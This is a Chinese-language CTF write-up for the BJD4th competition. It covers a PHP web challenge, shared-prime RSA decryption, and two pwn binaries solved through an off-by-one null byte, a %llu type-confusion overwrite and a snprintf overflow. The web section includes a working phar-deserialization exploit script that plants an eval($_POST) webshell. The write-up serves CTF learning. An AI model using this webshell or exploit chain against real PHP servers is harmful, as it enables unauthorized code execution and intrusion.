BJD4th Writeup

我这里放一下我做的两道pwn题,还有一道crypto,以及一道web 本次wp是在石墨文档上创作的(方便好用!),图片也是在那个上面,不知道图片链接后期会不会挂掉。 如果图片挂掉了可以在评论提醒我上传。

Web

easyphp

index.php

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
 <?php
error_reporting(E_ALL);
$sandbox = './uploads/';
if(!is_dir($sandbox)) {
    mkdir($sandbox);
}
include_once('template.php');
$template = array('tp1'=>'tp1.tpl','tp2'=>'tp2.tpl','tp3'=>'tp3.tpl');
if(isset($_GET['var']) && is_array($_GET['var'])) {
    extract($_GET['var'], EXTR_OVERWRITE);
} else {
    highlight_file(__file__);
    die();
}
if(isset($_GET['tp'])) {
    $tp = $_GET['tp'];
    if (array_key_exists($tp, $template) === FALSE) {
        echo "No! You only have 3 template to reader";
        die();
    }
    $content = file_get_contents($template[$tp]);
    $temp = new Template($content);
} else {
    echo "Please choice one template to reader";
}
?> 

template.php

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
<?php
class Template{
    public $content;
    public $pattern;
    public $suffix;
    public function __construct($content){
        $this->content = $content;
        $this->pattern = "/{{([a-z]+)}}/";
        $this->suffix = ".html";
    }
    public function __destruct() {
        $this->render();
    }
    public function render() {
        while (True) {
            if(preg_match($this->pattern, $this->content, $matches)!==1) 
                break;
            global ${$matches[1]};
            if(isset(${$matches[1]})) {
                $this->content = preg_replace($this->pattern, ${$matches[1]}, $this->content);
            } 
            else{
                break;
            }
        }
        if(strlen($this->suffix)>5) {
            echo "error suffix";
            die();
        }
        $filename = __dir__.'./uploads/'  . md5($this->content) . $this->suffix;
        file_put_contents($filename, $this->content);
        echo "Your html file is in " . $filename;
    }
}
?>

这里是利用index.php中的file_put_contents来读取到template.php中的内容,然后再利用template.php写出一个phar文件,最后利用phar文件的反序列化来执行写出shell。

exp.php

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
<?php
$phar = new Phar("C:\\phar.phar"); //后缀名必须为phar
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub
$o = new Template('<?php eval($_POST[a]);?>');
$o->suffix = ".php";
$phar->setMetadata($o); //将自定义的meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();
?>

在这之前要修改php.ini中的配置来打开允许phar写出文件。 然后我们把生成的phar.phar文件利用php://input上传,再用phar://文件位置 对文件进行引用,最后可以成功得到shell 有了shell之后直接对flag进行读取发现读取失败,最后使用蚁剑的终端,来运行目录下的readflag,成功得到flag文件。 蚁剑.png

看队里另外一个师傅的wp发现的学到的一些东西: file_get_contents在使用phar伪协议时只能用相对于网站根目录的路径 ?var[template][tp1]=phar://uploads/xxx/xxx.html&tp=tp1

总结:phar反序列化我还是第一次做,所以其实这道题就相当于是百度查出来的。学到了!

Crypto

asa

观察代码可以发现程序流程是:

  1. 生成了key和iv,并对flag进行加密
  2. 生成了p和q,并计算n,以65537为e,对key进行加密,输入了n和m
  3. 生成了q,并用上次的p,计算出n2,对iv进行加密,输出了n2和m2

发现p = gcd(n, n2)

分别计算出2中的q和3中的q

分别解密出key和iv

解密得到flag

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
p = gmpy2.gcd(0x661d752110bcc6ee5ca33edaf244716cccce6400dfdbfd84ce6ae2d8fbbeb2f61584da7668768403b6135e7810eae9d4d8e044935f8680de5324c3fc0f9bffb01812f9d2ac9055ee8dbd17b90c5a60cb7595a82f24a075d951db3b7f913b8543ecd52b8c8464ce348c3970d511ae911e814f9ca33b8412db2730e61820f5de47, 0x9f159326c907441326c88d17eae1c6e8aaea23922c5e628a585294e379e9245644f9c249c57f54a2b83921b4adc988fecc90c00feb6936d9be1f3a5ffae951b74ffbc6fc7aa11743e4ca179a937392dacf931e820d1d83016562ff608e8c59ef7310654a09bbba4a0129f71dcb61bd9bef073bbb93bfcac4a7a2e81156dbb32d)
print p
n1 = 0x661d752110bcc6ee5ca33edaf244716cccce6400dfdbfd84ce6ae2d8fbbeb2f61584da7668768403b6135e7810eae9d4d8e044935f8680de5324c3fc0f9bffb01812f9d2ac9055ee8dbd17b90c5a60cb7595a82f24a075d951db3b7f913b8543ecd52b8c8464ce348c3970d511ae911e814f9ca33b8412db2730e61820f5de47
n2 = 0x9f159326c907441326c88d17eae1c6e8aaea23922c5e628a585294e379e9245644f9c249c57f54a2b83921b4adc988fecc90c00feb6936d9be1f3a5ffae951b74ffbc6fc7aa11743e4ca179a937392dacf931e820d1d83016562ff608e8c59ef7310654a09bbba4a0129f71dcb61bd9bef073bbb93bfcac4a7a2e81156dbb32d
q1 = n1 // p
q2 = n2 // p
print q1
print q2
e = 65537
phi1 = (p - 1) * (q1 - 1)
d1 = gmpy2.invert(e, phi1)
c1 = 0xd7931796fa39cfa37c0b621c01175904206dff1d74a28369dcd6517957ed76c5eb7d4934cbeb902119f9215f9ae7926debe3abe856244b45dbb4caaa2b93dbb79a3ca1a9813e1466c49fe3c03e5462811afbf3f40ff79927f9fe3681b7f3cef34466b9a736512f4931b5026eefacbae9be6e408085a7a636c514574c3b22ffe
m1 = pow(c1, d1, n1)
print(long_to_bytes(m1))
phi2= (p - 1) * (q2 - 1)
d2 = gmpy2.invert(e, phi2)
c2 = 0x6240740d41a539a88634726cf0a791a87e02419c3c3e00dff62eba59e81a93fd04a59109e57f64fc375b9a321583b6fa133317eb5c4e6eb1e6f6d9a0b4ae6ff0c54423718811f7956cd63b7bf9c7f8e29f48dad8f05b63b71d6c5112d91864adba0d6bb342c67aee39ccd5e2a6928a8e4ab2248d29a0c990bae821b31b39b1f3
m2 = pow(c2, d2, n2)
print(long_to_bytes(m2))
key = long_to_bytes(m1)
iv = long_to_bytes(m2)
c = AES.new(key, AES.MODE_CBC, iv).decrypt("f8559d671b720cd336f2d8518ad6eac8c405585158dfde74ced376ba42d9fe984d519dc185030ddec7b4dc240fd90fa8".decode("hex"))
print c

Pwn

pi

第一部分

图片

图片

观察读入部分发现会在读入内容后写一个\x00,读入长度根据a2来计算。

但是在第一部分中,传入的长度是64,这导致了\x00溢出写到了s1中。

图片

之后读入一个随机数,把随机数作为密码来检验输入的是否正常。

这里爆破是肯定不可以的,所以通过上面的溢出方法,可以发现\x00在随机数的部分被覆盖。

在接下来的%s位置则可以被输出。

输出后我们相当于获取了得到的随机数内容,也就是我们需要的密码。

到此登录部分已经完成

第二部分

图片

第二部分使用了Monte Carlo Method来获取随机数,并且对掉落在正方形内的随机数进行统计。最后得到pi的值,由于题目设置了计算时间,所以如果我们提供一个很大的随机次数N是不显示的,故考虑其他方法达到高精度。

这里不难发现v1变量的类型是signed int,而读入的时候使用的是%llu,这就可以覆盖后面的内容。

我们构造v1 = 0,v2 = 3.1415926,并且用程序得到对应的unsigned long long数据用于输入,就可以成功得到flag。

这里填入的值为:4632251120704552960

bricktick_basic

缺少程序所必须的运行库,并且尝试安装也失败了,所以最终也无法动态调试。使用了静态分析的方法。

搜索字符串发现有一处cat flag

图片

查看引用位置

图片

逻辑部分相当的复杂。

这里根据字符串信息进行猜测,猜测这部分内容是在PAUSED阶段来操作的,也就是按下空格暂停时。

接下来有个逻辑判断

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
while ( v13 <= 66 && v14 <= 12 )
{
  if ( v13 == 66 )
  {
	sub_55FDF8427634();
	halfdelay(1);
	sub_55FDF8427363("WIN!");
	sleep(3u);
	if ( dword_55FDF842C1C0 )
	  system("/bin/cat flag");
  }
  ++v14;
  v4 = wgetch(stdscr);
  if ( v4 == 0x105 )
  {
	v13 /= 5;
  }
  else if ( v4 <= 0x105 )
  {
	switch ( v4 )
	{
	  case 260:
		v13 *= 7;
		break;
	  case 259:
		v13 = 3;
		break;
	  case 258:
		v13 += 4;
		break;
	  case 27:
		endwin();
		exit(0);
	  case 32:
		goto LABEL_102;
	}
  }
}

代码逻辑大概是根据输入的字符内容,对v13进行运算,当v13得到的结果为66的时候就会胜利。但是这里看到还对dword_55FDF842C1C0进行了一个判断,如果这个值为0,那么前面所操作的也是无用。可能也就这个地方,让一道RE题变成了一道pwn题吧。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
#include <cstdio>
int dfs(int x, int c)
{
	if (x > 66) return 0;
	if (x == 66)
	{
		return 66;
		printf("%d", c);
	}
	if (c == 0) return 0;
	int ans;
	ans = dfs(x + 4, c - 1);
	if (ans == 66)
	{
		printf("下");
		return ans;
	}
	ans = dfs(3, c - 1);
	if (ans == 66)
	{
		printf("上");
		return ans;
	}
	ans = dfs(x * 7, c - 1);
	if (ans == 66)
	{
		printf("左");
		return ans;
	}
	ans = dfs(x / 5, c - 1);
	if (ans == 66)
	{
		printf("右");
		return ans;
	}
}

int main()
{
	dfs(0, 11);
	return 0;
}

写了一个DFS进行搜索,当时赶时间,写的不好看勿喷。 输出的结果从右往左看(由于是DFS从内往外执行),就是需要输入的作弊码了。

其实这个算法程序还是比较容易的,这道题的难点在于我不知道那几个常量对应什么按键,百度了很久也不知道。

在我的印象中,代码按键应该都是小于127的吧,这里居然出现了几百的。

图片

所以我百思不得其解,还好我看了一下前面的代码,发现了有这么一段内容也用了这两个代码按键。

图片

代码内对sub_55FDF842560E进行调用

图片

通过这一段内容就可以猜测

左键对应的是0x104,右键对应的是0x105

但是不知道上键和下键,那只能猜测一下了。

这里我们可以观察到循环退出条件是

1
while ( v13 <= 66 && v14 <= 12 )

我们又知道 上键和下键中一个是让v13 = 3的操作,另一个是让v13 + 3的操作。

所以我们这里连续对一个按键按3次,然后再按一个左键,如果暂停界面退出了,则说明那个键是+3的操作,否则就是=3的操作。

由此可以得到。

1
2
3
4
左 0x104 *7
右 0x105 /5
上 0x103 =3
下 0x102 +3

这里操作完之后,屏幕中会显示

图片

但是没有出现我们想要的flag信息。这说明输出flag的判断语句

图片

可能没有成立。

所以我们无法显示出flag的内容,我们查看该变量的引用

图片

发现只有这一处引用,那我猜测这部分内容被上面的内容所覆盖。

图片

也就是被所选内容覆盖。

查看哪里所上面的这个变量进行了复制,我们发现。

图片

在保存存档的这个地方,对这个变量进行了操作。

而且用的是snprintf,%s

所以这里没有对长度进行判断,我们只需要构造一个长度大于0x100的存档名称,则可以覆盖到下面的内容。

所以我们覆盖后,再次输入作弊码,同时依靠我的手速进行截图,最终获得了flag。

图片

0%